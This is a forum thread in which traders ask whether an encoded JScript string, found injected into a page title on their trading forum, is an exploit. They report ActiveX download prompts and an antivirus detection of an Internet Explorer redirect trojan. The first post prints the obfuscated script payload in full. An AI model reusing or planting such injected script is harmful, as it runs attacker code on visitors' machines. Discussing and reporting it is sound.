Is this encoded JScript a hacking exploit ?

H

harrytrader

I found it in Forums - Daytrader Charged !!!!!!

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head><title><script language="JScript.Encode">#@~^rQAAAA==[Km;s+ YRSDbO+vJ@!4M@*@!G(L+1OP9lYmxv:kObYd)h4D:s)6rV)&&;)-w\zqHRtu:"4DYa)zJNF+&Rc E2& ASh0D2R(kyJ&[WSx^WCNd&J+skDnR1thl=z+srD+ tDhEPOHw'BD+XOzXOdmMk2O^+YE@*@!JW4Nn^Y@*J*iEzkAAA==^#~@</script>Forums - Daytrader Charged !!!!!!</title>
 
Sorry the script doesn't pass so screen copy. I don't see why elite need to encrypt anything so my legitimate question.


<IMG SRC=http://www.elitetrader.com/vb/attachment.php?s=&postid=471051>
 

Attachments

All the more legitimate that it has now disappeared:
<IMG SRC=http://www.elitetrader.com/vb/attachment.php?s=&postid=471055>

Quote from harrytrader:

Sorry the script doesn't pass so screen copy. I don't see why elite need to encrypt anything so my legitimate question.


<IMG SRC=http://www.elitetrader.com/vb/attachment.php?s=&postid=471051>
More...
 

Attachments

several of the feedback thread a few minutes ago when I enter them attempt to run and unsign actveX script. I only have activeX that are marked as safe and are sign to be run. It attempted to download and run the script. My computer is set to prompt me when these attempts are made and in all of the years of visiting ET I have never had this happen before.

:(
 
I captured this script probably at the same moment.

Quote from Bsulli:

several of the feedback thread a few minutes ago when I enter them attempt to run and unsign actveX script. I only have activeX that are marked as safe and are sign to be run. It attempted to download and run the script. My computer is set to prompt me when these attempts are made and in all of the years of visiting ET I have never had this happen before.

:(
More...
 
There's a problem here boys, and I am now getting WARNINGS on my McAfee Anti-Virus Software in the past 2 days regarding worm activity based on E-mail subject: 192.168.2.18 when trying to write "posts" to ET.

Hello Baron???
 
Quote from waggie945:

There's a problem here boys, and I am now getting WARNINGS on my McAfee Anti-Virus Software in the past 2 days regarding worm activity based on E-mail subject: 192.168.2.18 when trying to write "posts" to ET.

Hello Baron???
More...

I run AVG it's been quiet as a churchmouse :cool:
 
When I visited this thread I got the following warning:

A Trojan has been detected and cleaned!

The file ......... showthread.php was infected by the Exploit-MhtRedir.gen trojan and has been deleted to complete the Clean process.

Here's the details:

http://us.mcafee.com/virusInfo/default.asp?id=description&virus_k=101033

Here's the summary:

---------------------------
This detection covers code designed to exploit an Internet Explorer vulnerability. At the time of this writing a patch does not yet exist to cover this vulnerability.

The exploit results in a CHM (Microsoft Compiled Help) file being written to the local system allowing for additional exploit code to then execute the downloaded file.

The end result is the execution of arbitrary code at the permission level of the current user.
----------------------------

This is a nasty problem!

- Curtis
 
You must log in or register to reply here.
Back
Top